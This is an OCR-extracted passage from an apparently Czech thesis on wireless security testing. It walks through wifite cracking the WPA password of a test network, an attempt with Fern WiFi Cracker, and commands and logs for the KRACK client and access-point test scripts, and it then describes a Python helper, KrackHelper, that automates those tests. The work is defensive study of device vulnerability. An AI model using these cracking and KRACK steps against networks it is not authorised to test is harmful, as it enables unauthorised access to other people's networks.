AP a klientem a poté uz pouze crackne pouzité heslo. Postup je tedy stejny jako v
demonstrovaném utoku pomoci aircrack-ng, pouze automatizovany.

Jak 1ze vidét na obrazku 4.37, findlnim vysledkem je spravneé zjisténé heslo. Wifite

také informuje, ze zjisténé heslo a tidaje jsou ulozeny v souboru ,cracked.txt".
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root@osbhoxes:-# wifite

wifite 2.2.5
| - automated wireless auditor
v © - .7 https://github.com/derv82/wifite2

[!'] Warning: Recommended app hcxdumptool was not found. install @ https://githt
b.com/ZerBea/hcxdumptool

[!] Warning: Recommended app hcxpcaptool was not found. install @ https://githt
b.com/ZerBea/hcxtools

[+] Using wlan® already in monitor mode

NUM ESSID CH ENCR POWER WPS? CLIENT
1 TestNet 11 WPA 66db yes
2 Skynet 8 WPA 40db no
3 UPC Wi-Free 8 WPA 40db no
- Internet 9 WPA 30db yes
5 VOIP9 2 WPA 29db yes
6 UPC87F3D97 6 WPA 27db yes
Fi TP-LINK Extender 7A48D2 2 OPN 26db yes
8 UPC Wi-Free 6 WPA 26db no
9 Mujo2Internet ©9F2E8 11  WPA 26db yes

10 Local Barber Shop 11 WPA 25db yes
11 UPC3794763 6 WPA 25db yes
12 UPC3794763 6 WPA 24db yes
13 Stable connection 6 WPA 22db yes
14 UPC Wi-Free 6 WPA 22db no
15 KOBU 11 WPA 20db no

[+] select target(s) (1-15) separated by commas, dashes or all: I

Obr. 4.36: Sken provedeny utilitou wifite

Wifite je tedy zajimavou alternativou, protoze testovani velice zjednodusuje a

pokryva sirokou skalu vektort ttoku.

[+] Cracking WPA Handshake: Running aircrack-ng with wordlist-top480@-probable.
txt wordlist

[+] Cracking WPA Handshake: 48.18% ETA: 0Os
[+] Cracking WPA Handshake: 56.35% ETA: @s
[+] Cracking WPA Handshake: 91.52% ETA: 0s
[+] Cracking WPA Handshake: 99.35% ETA: 0Os
[+] Cracking WPA Handshake: 99.35% ETA: 0s
[+] Cracked WPA Handshake PSK: abcdefgh

2777.1kps (current key: imaginatio
2749.6kps (current key: imaginatio
2761.2kps (current key: 13579246808
2735.9kps (current key: 1357924680
2735.9kps (current key: crocodil)

e e e o

[+1] Access Point MName: TestNet
[+] Access Point BSSID: F4:EC:38:B2:55:F2

[+1 Encryption: WPA

[+] Handshake File: hs/handshake TestNet F4-EC-38-B2-55-F2 2019-12-18T12-4
©-14.cap

[+1 PSK (password): abcdefgh

[+] saved crack result to cracked.txt (4 total)
[+] Finished attacking 1 target(s), exiting

Obr. 4.37: Uspé&sny ttok utilitou wifite

71


https://github.com/derv82/wifite2
https://githi

4.5 Fern WiFi Cracker

Posledni testovanou utilitou je Fern wifi. Jakozto program s GUI, staci jej pouze za-
pnout z nabidky utilit. V hlavnim okné lze vidét hlavni polozky jako vybér rozhrani,
sken AP, databazi kli¢ a vybér ttokt na WEP a WPA sité (viz obrazek 4.38).

Fern WIFI Cracker ® 0

Select Interface - ars Refrash
L]

Select an interface card

(('J) ‘ Scan for Access points

Unable to check for updates, network timeout

D

LA H
Farn WIFI Cracker 3.0 Fi
Python Version: 3.7.5 default

E 5 Key Database Ne Key Entries
Aircrack Version: rorack-ng 1.5.2 - (C)

Gt Version: 5.13.2 /)l ToolBox

About Fern WIFI Cracker

GUI suite for wireless encryption strength testing of 80211 wireless encryption standard access points

Wiritten by Savicwr Emmanuel Ekiko Report Bugs at : savioboya@rocketmail.com

Obr. 4.38: Hlavni obrazovka Fern WiFi Cracker

Prvnim krokem by mél byt vybér pouzivaného bezdratového rozhrani, které Fern
zméni do monitorovaciho rezimu. Bohuzel, v pripadé provedeného testovani se tento
krok nezdaril. V pripadé, ze uz rozhrani wlan0 je v monitorovacim rezimu, se Fern po

vybéru akorat béhem nacitani zasekne a nikdy vybér nedokonéi (viz obrazek 4.39).
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V pripadé, ze rozhrani wlan0 neni v monitorovacim rezimu, fern vypise hlasku, ze
doslo k problému (viz obrazek 4.40).

- ﬂ Refrash

Obr. 4.39: Nacitani rozhrani v monitorovacim rezimu

; - ]
&3 wiand | e Refresh

problem cocured while setting up the monitor mode of selected

Obr. 4.40: Netspésné nastaveni monitorovaciho rezimu

Je pravdépodobné, ze problém spociva ve zvolené Wi-Fi karté a zptisobu, jakym
byl monitorovaci rezim povolen. Je mozné, Ze s jinym adaptérem by bylo testovani

uspesné.

4.6 KRACK

4.6.1 krackattacks-scripts

Balicek skriptu krackattacks-scripts obsahuje dva testy — test klienta a AP. Nez vsak
lze testy provést, je nutné projit urcitym nastavenim. Po nainstalovani prerekvizit
je nutno spustit prilozeny skript na vypnuti hardwarového sifrovani, které by mohlo

ovlivnit testy:
./krackattack/disable-hwcrypto.sh

Po tomto kroku je doporuceno restartovat PC, ¢i v tomto pripadé virtualni po-

¢itac. Nasledné pomoci prikazt spusténym v hlavni slozce skriptii:

cd hostapd
cp defconfig .config
make -j 2

, dojde ke kompilaci prilozeného hostapd - software, ktery dokaze na sitové kartée
simulovat ptistupovy bod. V UI menu nastaveni sité (v Kali se toto nastaveni nachazi

v pravém hornim rohu) je potieba vypnout WiFi a poté spustit piikaz:

sudo rfkill unblock wifi
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, ktery skriptim umozni WiFi stale pouzivat. Tim je hlavni nastaveni dokoné¢eno
a skripty lze pouzivat.
K testiim je samoziejmé potieba bezdratového rozhrani, které opét lze zkontro-

lovat prikazem
iwconfig

V zékladnim nastaveni pouzivaji skripty rozhrani wlan0, coz se d& zménit bud v

konfiguraénim souboru ,hostapd/hostapd.conf* v fadku
interface=wlanO

Alternativné lze pti pouzivani skripti pouzit argument ,-i“ nasledovany ndzvem
rozhrani. V ptipadé provedenych testti bylo pouzito rozhrani wlan0, a tak nebylo
nutné nic ménit. Nakonec se je jesté potreba ujistit, ze testované zarizeni pouziva k
ziskani IP adresy DHCP, coz lze zjistit v nastaveni WiFi.

Skript , krack-test-client.py“ obsahuje 6 riznych testii, které jsou spustény v za-
vislosti na pouzitych argumentech. VSechny klientské testy funguji stejné, po zapnuti
testu je potreba pripojit klientské zarizeni k nové vytvorenému AP | testnetowrk® s
heslem ,abcdefgh®. Skript pak vyhodnoti, zda je zafizeni zranitelné nebo ne.

Pokud je skript spustén bez argument,
./krack-test-client.py

dojde k hlavnimu testu znovupouziti klich. Pfi tomto testu skript opakované
posila klientovi treti zpravu Ctyfcestné vymeény a sleduje, jaké klice klient pouziva,
v ptipadé, Ze dojde ke znovupouziti (respektive znovupouziti stejného I1V), jedna se
o zranitelnost.

Dale 1ze pouzit néasledujici argumenty, které kazdy spusti trochu jiny test.
./krack-test-client.py --replay-broadcast

zkousi, zda klient prijima ramce broadcast, které byly poslané znovu.

./krack-test-client.py --group --gtkinit

zkousi chybnou implementaci skupinovych kli¢t. Kdyz klient ptijme skupinovy
kli¢, uchovava si zaroven i hodnotu RCS (Receive Sequence Counter), kterd se pri
kazdé implementaci klice zvysuje. V nékterych implementacich je vSak tato hodnota

ignorovana a zustava nulova.
./krack-test-client.py --group

zkousi chybnou implementaci skupinovych kli¢h, pri které dojde k opakovani IV,
je to tedy obdoba prvniho testu. Je nutno podotknout, Ze pokud zafizeni neprojde

,replay-broadcast® testem, pak je mozné, Ze je tento test spatné vyhodnocen.

./krack-test-client.py --tptk
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je témér identicky s hlavnim testem s tim rozdilem, Ze navic pred poslanim treti
zpravy posle zfalSovanou prvni zpravu ¢tyfcestné vymeény, coz opét muze zpusobit

znovupouziti klice.
./krack-test-client.py --gtkinit

opakované provadi ¢tyfcestnou vymeénu a zjistuje, zda je spravné pocitana hod-
nota RSC. Oproti prechozim testiim je vSak velmi nespolehlivy a funguje jen v

idedlnich podminkach jako malé ruseni v okoli.

Vypis 4.1: Vypis klientského testu KRACK

wlanO: STA 20:47:da:16:a0:17 IEEE 802.11: associated

wlanO: AP-STA-CONNECTED 20:47:da:16:a0:17

wlanO: STA 20:47:da:16:a0:17 RADIUS: starting accounting session 25807
FFF266F4679

[09:10:26] 20:47:da:16:a0:17: 4-way handshake completed (RSN)

[09:10:26] 20:47:da:16:a0:17: DHCP reply 192.168.100.2 to 20:47:da:16:a0:17

[09:10:26] 20:47:da:16:a0:17: DHCP reply 192.168.100.2 to 20:47:da:16:a0:17

[09:10:26] 20:47:da:16:a0:17: sending a new 4-way message 3 where the GTK
has a zero RSC

[09:10:26] 20:47:da:16:a0:17: received a new message 4

[09:10:27] 20:47:da:16:a0:17: client has IP address —> now sending replayed
broadcast ARP packets

[09:10:28] 20:47:da:16:a0:17: sending broadcast ARP to 192.168.100.3 to
192.168.100.1

[09:10:28] 20:47:da:16:a0:17: sending broadcast ARP to 192.168.100.2 to
192.168.100.1

[09:10:28] 20:47:da:16:a0:17: sending a new 4-way message 3 where the GTK
has a zero RSC

[09:10:28] 20:47:da:16:a0:17: received a new message 4

[09:10:29] 20:47:da:16:a0:17: sending broadcast ARP to 192.168.100.3 to
192.168.100.1

[09:10:30] 20:47:da:16:a0:17: sending broadcast ARP to 192.168.100.2 to
192.168.100.1

[09:10:30] 20:47:da:16:a0:17: sending a new 4-way message 3 where the GTK
has a zero RSC

[09:10:30] 20:47:da:16:a0:17: received a new message 4

[09:10:31] 20:47:da:16:a0:17: Client DOESNT reinstall the group key in
the 4-way handshake (this is good)
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Skripty maji vypis, ktery indikuje stav a vysledek testti. Pokud klientské zarizeni
projde vSemi testy da se Tict, ze neni zranitelné vuci itoku KRACK.

Na vypisu 4.1 lze vidét jeden z klientskych testi. Posledni fadek vypisu oznamuje,
ze klient pouziva klice spravné a neni tak zranitelny vici této zranitelnosti. Ostatni
testy béhem experimentalniho testovani dopadly stejné.

Dalsim testem, ktery se v balicku skripti nachazi, je test AP. Pro tento test nesmi
byt WiFi karta v monitorovacim rezimu a je nutno provést jesté dalsi nastaveni.
Nejdrive je nutno vytvorit konfiguracni soubor pro aplikaci wpa_ supplicant, ktera
je zde pouzita. Wpa_ supplicant je démon, ktery na strané klienta vytvari software
nutny k autentizaci pomoci WPA a WPA2.

Novy soubor lze vytvorit naptiklad prikazem
gedit wpa_supplicant.conf
Konfiguracni soubor wpa_supplicant miize byt velmi slozity ale pro test staci

jen velmi zjednodusena verze obsahujici jen par idaju, jak je vidét na vypisu 4.2.

Vypis 4.2: Obsah souboru wpa_ supplicant.conf

ctrl_interface=/var/run/wpa_supplicant
network={
ssid="TestNet"
key_mgmt=FT-PSK
psk="abcdefgh"
}

Hodnoty ,ssid“ a ,,psk“ je nutno nahradit prislusSnymi udaji testovaného AP.
Hodnota ,key-mgmt* indikuje zpusob autentizace. Pro normalni WPA autentizaci
by napriklad méla hodnotu ,,WPA-PSK* Jelikoz jsou na KRACK zranitelné AP
pouzivajici funkci FT, je hodnota ,,FT-PSK* Tento soubor je nutno ulozit do slozky

krackattack. Nejprve je dobré vyzkouset, zda wpa_ supplicant spravné funguje:
wpa_supplicant -D nl80211 -i wlan0O -c network.conf

Vystupem bude nejprve hlaska ,Succesfully initialized wpa_supplicant® a poté
se aplikace zkusi pripojit k AP. Pokud se zdanlivé nic nestane, bud méa konfigu-
racni soubor Spatné hodnoty, nebo testované AP nepodporuje funkci FT. V tom
pripadé neni nutno postupovat déle, AP neni zranitelné. Protoze testované AP tuto
funkci nepodporuje, byl vystup takovy. Jelikoz tedy zbytek postupu nebylo mozno
vyzkouset kompletné, jsou pouzity vypisy z oficialni dokumentace skripti.

Pokud pripojeni fungovalo je mozné prejit k samotnému testu:

./krack-ft-test.py wpa_supplicant -D nl80211 -i wlanO -c

network . conf
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Poté, co dojde k pripojeni k AP, je potieba v novém terminalu provést prikaz:
wpa_cli -i wlanO

Tento ptikaz spusti pomocnou utilitu wpa_ supplicant zvanou wpa_ cli. Dokaze
vypisovat informace o siti a okolnich sifovych pripojenich a zaroven umoznuje ovla-

dani wpa_ supplicant. Wpa_ cli méa svoji vlastni prikazovou radku. Pomoci piikazu:
status

dojde k vypisu informaci o aktudlnim ptipojeni. Je dobré si zaznamenat MAC

adresu tohoto pripojeni. Déle prikazem:
scan_results

dojde ke skenu okolnich AP, podobné jako napiiklad u aplikace airodump_ ng.
Pokud mé testovand sit vice AP (a tedy vyuziva funkce FT), mély by se ve vy-
pisu objevit i dalsi pristupové body se stejnym SSID jako testované AP. Prikladem
takového vypisu muze byt vypis 4.3.

Vypis 4.3: Vypis scan_ results v programu wpa_ cli

'> scan_results
bssid / frequency / signal level / flags / ssid

c4:e9:84:db:fb:7b 2412 -21 [WPA2—PSK+FT/PSK—CCMPE| [ESS] testnet
c4:e9:84:1d:ab:bc 2412 -31 WPA2-PSK+FT/PSK-CCMP] [ESS testnet

Nakonec je potfeba provést prikaz:
roam bssid

, kde bssid oznacuje bssid jiného AP, nez je testované AP. Wpa_ supplicant se
timto prikazem prepoji a tak je vyuzita funkce FT. Poslednim krokem je simulovani

provozu mezi klientem a AP. V novém terminélu lze provést:
arping -i wlanO ip

, kde ip je IP adresa testovaného AP. Ted uz jen zbyva prozkoumat vystup testu.
Testovaci skript se opakované pokousi o asociaci a sleduje pouzivané IV. Pokud je
néjaky IV znovupouzit, jedna se o zranitelnost KRACK. Pokud jsou IV jiné, AP neni
zranitelné. Vypisem zranitelného AP muze byt vypis 4.4. Finalni rddek informuje o

zranitelnosti.

Vypis 4.4: Vypis skriptu krack-ft-test v pripadé zranitelné AP

[15:59:24] Replaying Reassociation Request

[15:59:25] AP transmitted data using IV=1 (seg=0)

[15:59:25] Replaying Reassociation Request

[15:59:26] AP transmitted data using IV=1 (seq=0)

[15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable!
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Vypis 4.5: Vypis krack-ft-test v pripadé bezpecné AP

[16:00:49] Replaying Reassociation Request
[16:00:49] AP transmitted data using IV=1 (seq=0)
[16:00:50] AP transmitted data using IV=2 (seg=1)
[16:00:50] Replaying Reassociation Request
[16:00:51] AP transmitted data using IV=3 (seg=2)
[16:00:51] Replaying Reassociation Request
[16:00:52] AP transmitted data using IV=4 (seg=3)

Pro AP, které neni zranitelné muze byt vypis 4.5. Zde je vidét, ze se IV neopakuji,

zatizeni tedy neni zranitelné a v tento moment je test dokoncen.

4.7 Vlastni utilita

Pro zjednoduseni celého postupu bude vytvorena vlastni utilita, ktera nékteré kroky

automatizuje a d& uzivateli lepsi prehled o tom, jak provést testy.

4.7.1 Navrh utility

Nejjednodussi zptisob vytvoreni utility je naprogramovat jednoduchy skript v jazyku
Python. Ten je v Kali dobfe podporovan a skripty, které se skrze utility budou
spoustét, také pouzivaji Python.

Je také dobré navrhnout funkce, které by utilita méla splnovat. Zaprvé to bude
automatické spousténi testovacich skripti a jejich vybér uzivatelem. Dalsi funkci je
zpracovani vysledkt testii. Dale by méla utilita informovat uzivatele o testech, ale
zaroven schovat méné potiebné ¢asti vypisu jednotlivych skriptl, aby jej nezahltila.
Jelikoz testy vyzaduji urcity zpusob spolupriace od uzivatele, musi utilita na tyto
¢asti upozornit a nabadat jej ke spravnému postupu. Koneéné musi nastroj umeét
zpracovat nestandardni stavy a chyby.

Pocatetnim vstupem uzivatele bude, ktery typ testu chce provést (klient nebo
AP) a které bezdratové rozhrani bude vyuzivat. Utilita zkusi, zda rozhrani existuje,
a poté prejde k samotnému testovani. Zakladni schéma utility 1ze vidét na obrazku
4.41.

Pokud budou vybrany klientské testy, zacne utilita postupné spoustét jednotlivé
skripty. P1i kazdém testu musi uzivatel pripojit svoje testované zarizeni k nové vy-
tvorenému AP, coz musi utilita dat najevo. Na zakladé vystupu aplikace vyhodnoti,
zda zafizeni testem proslo nebo ne. Po dokonceni testu je spustén dalsi ze skripti,
opét je uzivatel vyzvan k pripojeni a timto zptisobem utilita pokracuje, dokud nejsou
klientské testy vycerpany. Finalnim vystupem je pak evaluace vSech testl a zda je

zatizeni zranitelné nebo ne. Schéma klientskych testt lze vidét na obrazku 4.42.
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Pokud bude vybran test AP, dojde nejdrive k vytvoreni konfigura¢niho souboru
na zakladé udaju zadanych uzivatelem. Poté utilita spusti wpa_ supplicant a otes-
tuje, zda je konfigurac¢ni soubor spravny a potencialné zda AP vibec podporuje
FT. Pokud ano, je spustén testovaci skript. Od uzivatele je nutno zadani IP adresy
AP, kvili vytvoreni provozu pomoci ,arping“. Utilita dale spusti program wpa_ cli
a nabidne uzivatele, aby provedl potrebné prikazy. Poté dojde k vyhodnoceni testu.
Schéma tohoto testu lze vidét na obrazku 4.43.

Zakladni diagram utility
KrackHelper Argumenty pfi spusténi
| '_I [ [
Y v
Bezdratové rozhrani Méd RozSiteny vypis Vypis navodu
(Interface) (Mode) (Verbose) (Initial)
"client" nebo "ap"
Z&kladni hodnota = wlan0 Z&kladni hodnota = client Zéakladni hodnota=False Zakladni hodnota= False
A\
Verbose
Proménna Interface False
True False
True
Existuje _V v
Interface? Vypisy jsou Vypisy nejsou
Y rozsirené rozsirené Vypis souboru
| | KrackHelperReadme
Ne. Vybrany méd -
Ukon¢eni
Ukonéeni utility
utility client | | ap | 7y
\ \
Test klienta Test AP
\ \
Vypis vysledkd Vypis vysledku testu
klientskych testl AP

Obr. 4.41: Zakladni schéma utility
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Obr. 4.42: Test klienta v utilité KrackHelper
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Obr. 4.43: Test AP v utilité KrackHelper
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4.7.2 \Vytvoreni utility

Utilita je pojmenovana KrackHelper a je naprogramovana v jazyce Python, kon-
krétné ve verzi Python 3. Urcité pouzité knihovny jsou dostupné jen pro tuto verzi.
Spusténi utility tak lze uskutecnit pomoci piikazu:

python3 KrackHelper.py

Prepinani mezi médy (AP nebo klient) a pouzivané rozhrani jsou zadévany po-
moci argumentti béhem spousténi utility. V Pythonu toto nejlépe tesi knihovna
yargparse“. Postupné se nadefinuji jednotlivé argumenty s tim, ze kazdy ma, jak
je zvykem, kratsi a delsi verzi. Knihovna také automaticky vytvori pomocny vy-
pis, pokud je prikaz ke spusténi Spatny. Argumenty, které utilita bere jsou v tomto
pripadé:

e -inebo --interface — ndzev bezdratového rozhrani, zakladni hodnota je ,wlan0®

e -m nebo --mode — s hodnotou bud ,ap“ nebo ,client“, zdkladni hodnota je

yclient

e -v nebo --verbose — pokud je argument pritomny je utilita spusténa v rezimu

s podrobnéjsimi vypisy

e -i nebo --initial — pokud je argument pritomny, dojde pouze k vypisu navodu

na inicializaci KRACK skriptu

Definici jednoho z argumentti lze vidét na vypisu 4.6

Vypis 4.6: Definice argumentu

parser.add_argument(’-i’,’--interface’, help=’Interface used’, required
=False, default="wlan0")

Pokud tedy neni zadny argument specifikovan, je utilita spusténa v médu testo-
vani klienta, s rozhranim ,wlan0*“ a s normélnimi vypisy. Pro spusténi v médu AP,

s rozhranim ,wlan1“ a s podrobnéjsim vypisem by vypadal ptikaz naptiklad takto:
python3 KrackHelper.py -i wlanl -m ap --verbose

Na zacatku aplikace prozkouma zadané argumenty a pomoci knihovny netifaces
zjisti, zda vybrané rozhrani existuje. Pokud ano, tak zacne testovani.

Spousténi skripti a dalsich pomocnych prikazi utilita Tesi predevsim pomoci
knihovny ,,subprocess“. Pomoci ni je spustén skript ve formé podprocesu a zaroven
dojde k vytvoreni roury (komunikacniho kanalu) s utilitou. To pak umoziuje praci
s vystupem skripti. Priklad spusténi podprocesu lze vidét na vypisu 4.7

U testu klienta pak tedy cely proces vypada tak, ze je postupné pro kazdy z test
vytvoren podproces. Pomoci roury je zpracovavan vystup testi. Pokud je zvolen mod

verbose, tak je vypsan veskery vystup testovacich skripti, pokud ne, tak je vypis
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zjednoduseny. Uzivatel je pozadan o pripojeni zarizeni k AP, ¢imz zapoc¢ne samotné

testovani.

Vypis 4.7: Spusténi skriptu na test AP

test = subprocess.Popen("sudo ./krack-ft-test.py wpa_supplicant -D
nl180211 -i " + interface + " -c wpa-supplicant.conf", shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal newlines=

True, preexec_fn=os.setsid)

Testovaci skripty maji pomérné dobte zpracovatelny vystup. Stavii, ve kterych je
zalizeni vyhodnocené jako zranitelné, je sice nékolik, ale takovy vypis vzdy obsahuje
frazi ,,this is bad“. Naopak, u bezpecnych zarizeni vypis obsahuje ,this is good®“. Na
zakladé toho tedy lze klasifikovat testy podle vysledku. Tretim stavem je pripad,
kdy se zarizeni béhem testu odpoji, to je ve skriptech indikovano hlaskou ,,Device
dissasociated”. V tomto pripadé je test klasifikovan jako preruseny. Pokud dojde
k jednomu z téchto t¥i stavii, je dany test ukoncen a utilita spusti dalsi. Uzivatel
je opét vyzvan, aby pripojil své zarizeni. Takhle jsou postupné vycerpany vsechny
verze klientského testu.

Na vypisu 4.8 lze vidét ptiklad zpracovani vystupu. Podminka while cyklu zjis-
tuje, zda proces, pojmenovany ,procExe“ nebyl jiz ukonc¢en. Pokud proces stéle
bézi, tak je do proménné ,line* ulozen aktualni radek vypisu procesu. Na zakladé
podminek je pak zpracovan, jako priklad jsou ve vypisu uvedeny prvni dvé. Pokud
dojde k podmince, ktera znaci konec testu, je funkce ukoncena s navratovou hod-
notou oznacujici vysledek. Pokud neni splnéna zadna z podminek, je fadek predan
pomocné funkci ,verbose print“. Ta radek vypise, jen pokud je utilita spusténa v
modu verbose.

Finalnim vystupem je pak seznam testi, jejich vysledek a finalni evaluace zari-
zeni. Pokud jakykoliv z testi potvrdi zranitelnost, je zafizeni povazovano za zrani-
telné. Pokud jsou vSechny testy tispésné, je zafizeni povazovano za bezpecné. Pokud
je néjaky test prerusen, je celkovy vysledek nekonkluzivni.
vypisem utility je strucny popis prerekvizit pro test — podpora 802.11r, pritomnost
vice AP v siti, spusSténi s pravy root. Test nelze provést, pokud uz v pozadi bézi
wpa_ supplicant. Proto utilita zjisti, zda takovyto proces probiha, a pripadné jej
zastavi.

Utilita zjisti, zda se ve slozce nachazi soubor wpa_ supplicant.conf. Pokud ano,
zepta se uzivatele, jestli jej chce pouzit. Pokud ne, je zavoldna metoda create wpa,
ktera uzivatele provede vytvorenim souboru. Nejdrive se zepta na SSID a heslo AP

a poté vytvori soubor ,wpa_ supplicant.conf® s potiebnou strukturou.
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Vypis 4.8: Zpracovani vypisu

while procExe.poll() is None:

line = procExe.stdout.readline()

if "completed" in line:
print (Fore.GREEN, "Device connected. Starting test " + i)
print (Style.RESET_ALL)
continue

elif "good" in line:
verbose_print(line)
print(Fore.GREEN, "Test " + i + " succesful - device not

vulnerable")

print (Style.RESET_ALL)

return 0O

else:

verbose_print(line)

Pak uz dojde k samotnému testu. Podobné jako u manualniho postupu je nejdrive
vyzkousena asociace bez testovaciho skriptu. Opét je vyuzito knihovny subprocess
a dojde k vytvoreni podprocesu s rourou. Vystup je pak zpracovan. Pokud je za-
znamenana hlaska ,CTRL-EVENT-CONNECTED* je wpa_ supplicant povazovan
za funkéni. Pokud je zaznamenéna hlaska ,CTRL-EVENT-DISCONNECTED®, je
wpa_ supplicant povazovan za nefunkéni. Uzivatel je informovan o vysledku vypi-
sem. V pripadé neispéchu je utilita ukoncena. Situace, kdy nedojde ani k jednomu
ze stavi, nejspis znamend, ze AP nepodporuje FT a je osetfena Casovym limitem
60 sekund.

Pokud byl tento test tspésny, prejde se k testovani zranitelnosti. Kratkym me-
zikrokem je jesté vymazani souboru wlan0 (respektive se nazev odkazuje na pou-
zivané rozhrani) nachézejicim se ve slozce /var/run/wpa_ supplicant/. Jedné se o
pomocny soubor aplikace wpa_ supplicant, ktery se ma po ukonceni vymazat. Pokud
tomu tak neni, dojde pri dalsim spusténi aplikace k chybé. Toto nastane predevsim
pri nespravném ukonceni aplikace wpa_ supplicant. Proto preventivné utilita tento
soubor smaze. Kvili simulovani provozu se zde také aplikace zepta na IP adresu AP.

Pomoci arping zacne utilita simulovat provoz, opét je vyuzito knihovny subpro-
cesses. Stejné je tomu i u spusténi samotného testu. Opét je vytvorena roura a vy-
stup je zpracovavan. Poté, co dojde k pripojeni na AP, coz je opét potvrzeno hlaskou
,CTRL-EVENT-CONNECTED*, je spusténa utilita wpa_ cli. Jelikoz vsak uzivatel

84




s touto utilitou musi interagovat, je potfeba, aby se spustila v novém terminalu.
To je vyfeseno tim, ze misto primého spusténi utility wpa_ cli je spusténa nova
instance terminalu gnome-terminal s po¢atecnim argumentem, ktery spusti wpa_ cli.
Ani toto vsak neni iplné jednoduché, poc¢atecni argumenty terminalu totiZ nemohou
obsahovat prikazy, které jsou nacteny az po jeho uplném nastartovani. Nelze tedy

jednoduse zadat jako prikaz:
wpa_cli -i wlanO

protoze termindl tento pifkaz nezna béhem svého startu. Reseni pak nabizi vy-
tvoreni pomocného bash skriptu (nazvaného cliHelp.sh), ktery tento prikaz spusti.
Spusténi bash skriptu je béhem startu terminalu mozné. Jelikoz nazev rozhrani je
proménnou, bash skript bude také prijimat argument. Jednoduchy kéd tohoto po-

mocného skriptu je vidét na vypisu 4.9.

Vypis 4.9: Pomocny skript cliHelp.sh

#!/bin/bash
INTERFACE=$1
wpa_cli -i $INTERFACE

Vysledkem tedy je, ze se uzivateli objevi na obrazovce novy terminal se spusténym
nastrojem wpa_ cli. V piivodnim terminalu pak utilita vypise dalsi postup, zatimco
dale zpracovava vystup testovaciho skriptu.

Podminky ukonceni testu jsou dvé. Pokud je zafizeni zranitelné, ve vystupu
skriptu by se mél objevit Tadek oznamujici, ze doslo k znovupouziti inicializacniho
vektoru. Konkrétné obsahuje hlasku ,AP is vulnerable“. Pokud zafizeni neni zra-
nitelné, neni vystup tplné jednoznacny, test nikdy pfimo neoznami, ze AP zrani-
telné neni, jen se opakované opakuji hlasky o zadostech o asociaci a lze vidét, ze
AP neopakuje IV. Proto feseni v utilité neni uplné jednoduché. Utilita, tak bude
predpokladat, ze pokud se asociace nékolikrat opakovala a AP neopakuje IV, tedy
nebyla splnéna podminka zranitelnosti, AP zranitelné neni. Test je tedy dokoncen s

vysledkem vypsanym do terminalu a utilita se ukondi.

4.7.3 Testovani pomoci utility

Prvnim krokem je umistit tii soubory - KrackHelper.py, cliHelp.sh a KrackHel-
perReadme.txt - do slozky , krackattacks-scripts/krackattack®. Dale je nutné provést
instalaci samotnych krackattacks-scripts skriptli, napr. za pomoci navodu v souboru

,KrackHelperReadme.txt*. V ném jsou také vypsany prerekvizity utility:

pip3 install netifaces

pip3 install colorama
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pip3 install argparse

Spusténi utility v moédu pro klienta, s rozhranim wlan0 a s normalnimi vypisy

lze provést:
python3 KrackHelper.py

Prabéh celého testovani je pak vidét na vypisech. Po inicializaci rozhrani zacne
prvni test a utilita vyzve uzivatele k pripojeni zafizeni a poté provede test. Jeden
takovy test 1ze vidét na vypisu 4.10.

Je vidét, ze test byl Uspésny a zafizeni vici nému neni zranitelné. Utilita pak
podobné provede dalsi 4 testy. Finalnim vystupem je pak celkova evaluace testu a
zabezpeceni jak je vidét na vypisu 4.11.

Vsechny testy byly Uspésné, zafizeni je tedy povazovano za bezpecné. Piipad,
kdy se béhem testu zarizeni odpojilo je vidét na vypisu 4.12.

Finalni vypis pak v tomto piipadé miize vypadat jako na vypisu 4.13. Nebylo

mozné dokoncit vSechny testy a proto nelze evaluovat celkovou bezpecnost.

Vypis 4.10: Vypis tspésného testu klienta

Interface found

Using interface wlanO

Connect to ’testnetwork’ using your device (password = ’abcdefgh’).
Make sure it uses DHCP!

Device connected. Starting test 1

Test 1 succesful - device not vulnerable

Vypis 4.11: Finalni vypis a evaluace testi

KRACK testing completed.
Test 1 result: PASSED
Test 2 result: PASSED
Test 3 result: PASSED
Test 4 result: PASSED
Test 5 result: PASSED

All tests passed - the device is not vulnerable.

Vypis 4.12: Vypis testu klienta pii odpojeni

Connect to ’testnetwork’ using your device (password = ’abcdefgh’).
Make sure it uses DHCP!
Device connected. Starting test 1

Device disconnected - aborting test
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Vypis 4.13: Finalni vypis a netspsna evaluace testi

KRACK testing completed.
Test 1 result: ABORTED
Test 2 result: PASSED
Test 3 result: PASSED
Test 4 result: PASSED
Test 5 result: ABORTED

Not all tests were completed

Vypis 4.14: Test AP a vytvareni konfigura¢niho souboru

First, make sure the AP you are testing supports the 802.11r protocol (
Fast Transition). If it doesn’t, it’s NOT vulnerable and there is no
point in testing it. You will also need more than one AP in the

network.
Second, make sure to run this in root.
Third, make sure your interface is NOT in monitor mode
Fourth, find the IP address of the AP.
Continue? (y/n): y
No WPA Config
WPA config file creation
Enter the name of the AP’s SSID:
TestNet
Enter the AP’s password:

abcdefgh
WPA config created!

Pro pouziti AP testu lze provést prikaz:
python3 KrackHelper.py -m ap

Na vypisu 4.14 lze vidét pocatek testu a vytvareni konfigura¢niho souboru.
Nejdriv jsou vypsany potfebné podminky pro test a déle se utilita pokusi najit kon-
figuracni soubor. To se nepodari, a proto utilita prejde k vytvoreni tohoto souboru.

Uzivatel zada idaje o AP a soubor je vytvoren.
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Vzhledem k tomu, Ze testované AP nevyuziva funkci 802.11r, nelze provést AP
test kompletné. Test se dostane jen do prvni faze, kdy se nezdaii test asociace, coz

lze vidét na vypisu 4.15.

Vypis 4.15: Neuspésna asociace k AP

Association test:

If nothing seems to happen, the AP likely doesn’t support FT

Po 60 sekundéch, je utilita ukoncena. Aby doslo k ukazce dalsi funkénosti staci
upravit soubor wpa_ supplicant.conf nahrazenim udaje ,,FT-PSK* za ,,WPA-PSK*
Test zranitelnosti tak stale nebude fungovat, ale alespon se utilita dostane k posledni
fazi. Dojde k dotazu na IP adresu a v novém termindalu je otevien wpa_ cli, jak je
vidét na obrazku 4.44. Ptvodni termindl pak jesté vypise, které prikazy provést v
noveé otevieném okneé.

Jelikoz testované AP nepodporuje FT, neni potfeba s testovacim skriptem po-
kracovat. Bohuzel tak nelze vyzkouset, zda spravné funguje evaluace vysledki, ale
vzhledem k tomu, Ze na stejném principu funguji i klientské testy, které byly evalu-
ovany uspésné, da se predpokladat ispésnost i v tomto pripadé.

Celkové tedy vytvorena utilita spliuje navrhnutou funkcénost a béhem testovani
byly prokazany stejné vysledky jako u jednotlivych testi. Byl také ukazan postup
pri vytvareni néjakého testovaciho nastroje.
